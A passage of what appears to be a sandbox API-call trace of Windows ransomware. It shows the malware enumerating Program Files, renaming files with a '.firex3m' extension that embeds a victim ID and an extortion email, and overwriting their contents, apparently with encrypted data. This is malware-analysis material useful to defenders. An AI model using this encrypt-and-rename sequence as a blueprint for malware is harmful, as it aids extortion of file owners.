0x6d4ec0 [0245.296] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0245.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0245.296] GetProcessHeap () returned 0x630000 [0245.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x6f37390 [0245.296] GetProcessHeap () returned 0x630000 [0245.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x74a9e90 [0245.297] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.297] ReadFile (in: hFile=0x700, lpBuffer=0x6f37390, nNumberOfBytesToRead=0x8580, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f37390*, lpNumberOfBytesRead=0x5d7ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0252.002] GetProcessHeap () returned 0x630000 [0252.002] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0252.002] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.002] WriteFile (in: hFile=0x700, lpBuffer=0x74a9e90*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9e90*, lpNumberOfBytesWritten=0x5d7ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0252.003] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.003] WriteFile (in: hFile=0x700, lpBuffer=0x74b240f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b240f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.003] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.003] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.003] CloseHandle (hObject=0x700) returned 1 [0253.674] GetProcessHeap () returned 0x630000 [0253.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9e90 | out: hHeap=0x630000) returned 1 [0253.674] GetProcessHeap () returned 0x630000 [0253.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f37390 | out: hHeap=0x630000) returned 1 [0253.675] GetProcessHeap () returned 0x630000 [0253.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0254.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c277970, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x85b0, dwReserved0=0xaf87496, dwReserved1=0x6f37388, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d5440 [0254.418] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0254.418] Sleep (dwMilliseconds=0x1) [0254.446] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-100.png", len=0xa7 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-100.png") returned 1 [0254.446] GetProcessHeap () returned 0x630000 [0254.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e14) returned 0x6fe3bb0 [0254.446] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.461] Sleep (dwMilliseconds=0x1) [0255.821] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM", len=0x6e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM") returned 1 [0255.821] GetProcessHeap () returned 0x630000 [0255.822] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d14) returned 0x6fe3bb0 [0255.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0257.720] CloseHandle (hObject=0x714) returned 1 [0257.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b5591d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JOURNA~2.FIR")) returned 0x6d4f00 [0257.721] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0257.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0257.721] GetProcessHeap () returned 0x630000 [0257.721] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7549870 [0257.722] GetProcessHeap () returned 0x630000 [0257.722] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7554ca0 [0257.722] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.722] ReadFile (in: hFile=0x714, lpBuffer=0x7549870, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7549870*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.597] GetProcessHeap () returned 0x630000 [0263.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0263.597] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.597] WriteFile (in: hFile=0x714, lpBuffer=0x7554ca0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7554ca0*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.598] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.598] WriteFile (in: hFile=0x714, lpBuffer=0x756009f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x756009f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.598] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.598] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.598] CloseHandle (hObject=0x714) returned 1 [0263.598] GetProcessHeap () returned 0x630000 [0263.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7554ca0 | out: hHeap=0x630000) returned 1 [0263.598] GetProcessHeap () returned 0x630000 [0263.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7549870 | out: hHeap=0x630000) returned 1 [0263.598] GetProcessHeap () returned 0x630000 [0263.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0263.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x630f97b9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xba56, dwReserved0=0xaf87496, dwReserved1=0x7549868, cFileName="JOURNAL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JOURNA~2.FIR")) returned 0x6d51c0 [0263.599] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0263.599] Sleep (dwMilliseconds=0x1) [0264.606] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x62 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0264.606] GetProcessHeap () returned 0x630000 [0264.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c28) returned 0x6fe3bb0 [0264.606] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.611] Sleep (dwMilliseconds=0x1) [0264.644] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-256.png", len=0x7a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-256.png") returned 1 [0264.644] GetProcessHeap () returned 0x630000 [0264.644] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0264.644] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.648] Sleep (dwMilliseconds=0x1) [0264.657] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-100.png", len=0x70 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-100.png") returned 1 [0264.657] GetProcessHeap () returned 0x630000 [0264.657] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d38) returned 0x6fe3bb0 [0264.657] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.665] Sleep (dwMilliseconds=0x1) [0264.676] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-20.png", len=0x75 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-20.png") returned 1 [0264.676] GetProcessHeap () returned 0x630000 [0264.676] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cec) returned 0x6fe3bb0 [0264.677] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.686] Sleep (dwMilliseconds=0x1) [0264.742] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-20.png", len=0x76 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-20.png") returned 1 [0264.742] GetProcessHeap () returned 0x630000 [0264.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca0) returned 0x6fe3bb0 [0264.743] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.746] Sleep (dwMilliseconds=0x1) [0264.750] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-38.png", len=0x76 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-38.png") returned 1 [0264.750] GetProcessHeap () returned 0x630000 [0264.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c94) returned 0x6fe3bb0 [0264.750] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.756] Sleep (dwMilliseconds=0x1) [0264.777] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png", len=0x74 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png") returned 1 [0264.777] GetProcessHeap () returned 0x630000 [0264.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c50) returned 0x6fe3bb0 [0264.777] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-96.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.781] Sleep (dwMilliseconds=0x1) [0264.802] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG") returned 1 [0264.802] GetProcessHeap () returned 0x630000 [0264.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c08) returned 0x6fe3bb0 [0264.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.803] CloseHandle (hObject=0x42c) returned 1 [0264.803] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.804] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5500 [0264.804] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0264.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.804] GetProcessHeap () returned 0x630000 [0264.804] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x62a1) returned 0x730ba08 [0264.805] GetProcessHeap () returned 0x630000 [0264.805] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x62a1) returned 0x70e8d40 [0264.805] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.805] ReadFile (in: hFile=0x42c, lpBuffer=0x730ba08, nNumberOfBytesToRead=0x6280, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesRead=0x5d7ff0c*=0x6280, lpOverlapped=0x0) returned 1 [0268.856] GetProcessHeap () returned 0x630000 [0268.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0268.856] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.856] WriteFile (in: hFile=0x42c, lpBuffer=0x70e8d40*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d40*, lpNumberOfBytesWritten=0x5d7ff0c*=0x6280, lpOverlapped=0x0) returned 1 [0268.861] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.861] WriteFile (in: hFile=0x42c, lpBuffer=0x70eefbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70eefbf*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0268.861] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.862] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, 